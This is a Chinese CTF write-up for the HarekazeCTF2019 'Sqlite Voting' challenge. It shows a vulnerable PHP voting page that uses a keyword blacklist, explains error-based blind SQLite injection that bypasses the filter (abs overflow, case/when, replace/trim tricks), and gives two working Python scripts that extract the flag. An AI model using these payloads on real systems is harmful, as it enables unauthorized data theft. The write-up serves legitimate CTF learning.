0%

从一道题目看绕过SQLite注入的关键字

0x00 前言

​ 最近尝试了一下SQLite注入。发现不同的数据库中的差距是真的很大。这里记录一下吧。

测试题目: [HarekazeCTF2019]Sqlite Voting

0x01 源码

​ 题目是给了源码的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}

// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);

0x02 分析

​ 这里的正则过滤了很多东西。\s过滤了所有的空白字符。过滤的东西有点离谱。<=>全都被过滤了,在mysql中可以使用regexp或者like来实现sql盲注。而在sqlite中没有这种阴间操作。我们要使用别的方法来实现sql注入。

​ 这里提出一个SQLite的特性。我们可以使用abs(0x8000000000000000)来爆出{"error":"An error occurred while updating database"}的错误。

PS:但是0x8000000000000000这个数字不能太大。如果太大的话,可能直接就会爆出错误,导致我们的语句一直执行不正确。

​ 这里提供一种非常阴间的方法:使用&操作符来一位一位的爆破。

​ 另外在无法确定回显的情况下,我们可以使用abs(0x8000000000000000)来爆出错误。同时使用case when then else end来完成。

​ 这里可以使用abs(case(length(hex(select(flag)from(flag)))&2)when(0)then(0)else(0x8000000000000000000000000)end)这种方式来判断flag的长度。

PS:这里重点提醒一下。在bp中要把&先编码。

​ 这里贴一下爆破脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# coding: utf-8
import binascii
import requests

URL = 'http://fb2c4efd-6de8-475a-b85c-c31505ea598e.node3.buuoj.cn/vote.php'

# フラグの長さを特定
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)

# A-F のテーブルを作成
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

​ 这里我们使用replace来判断十六进制的flag中是否有相同的字符。基本原理是用replace将已知的flag部分替换为空,通过长度变化与否一位一位爆出来。考虑下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sqlite3

sqlite> create table flag (flag text);
sqlite> insert into flag values ('HarekazeCTF{test}');
sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag;
17

sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag;
4

​ 简单解释一下这个脚本的意思。其实||SQLite中是链接的意思,这里还从原本的数据库中取出了A~F。但是其实不需要这样的,我们可以两次hex编码,这样就不会出现字母了。

​ 下面是我稍微修改之后的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding: utf-8
import binascii
import requests

URL = 'http://9f623b32-d387-4db1-995d-6297852dd2bd.node3.buuoj.cn/vote.php'

# フラグの長さを特定
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex(hex((select(flag)from(flag)))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
})
print(r.text)
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)

# A-F のテーブルを作成
#没必要这么搞。
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
res = '36363643363136373742'
for i in range(len(res), l):
for x in '0123456789':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex(hex((select(flag)from(flag)))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
print(f'abs(case(replace(length(replace(hex(hex((select(flag)from(flag)))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)')
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

​ 会输出flag经过十六进制编码后的结果。

0x03 参考

学习SQLite注入:

http://atta.cked.me/home/sqlite3injectioncheatsheet